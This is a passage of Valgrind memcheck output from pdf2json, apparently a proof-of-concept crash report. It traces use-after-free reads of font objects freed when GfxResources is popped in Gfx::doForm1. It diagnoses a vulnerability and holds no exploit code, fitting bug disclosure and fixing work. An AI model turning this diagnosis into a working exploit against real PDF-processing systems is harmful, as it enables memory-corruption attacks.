char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x403238: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:82) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2b0e8 is 168 bytes inside a block of size 4,584 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46C5E3: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x469005: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x40325C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:86) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2b058 is 24 bytes inside a block of size 4,584 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46C5E3: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x469005: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 4 ==22556== at 0x41CA4E: GString::getLength() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C320: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x406434: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:88) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2af50 is 0 bytes inside a block of size 16 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46947A: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x468F7E: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x409098: GString::getCString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C354: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x406434: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:88) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2af58 is 8 bytes inside a block of size 16 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46947A: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x468F7E: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x4C326C8: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C36D: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x406434: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:88) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afa0 is 0 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 2 ==22556== at 0x4C32720: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C36D: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x406434: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:88) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afa8 is 8 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, 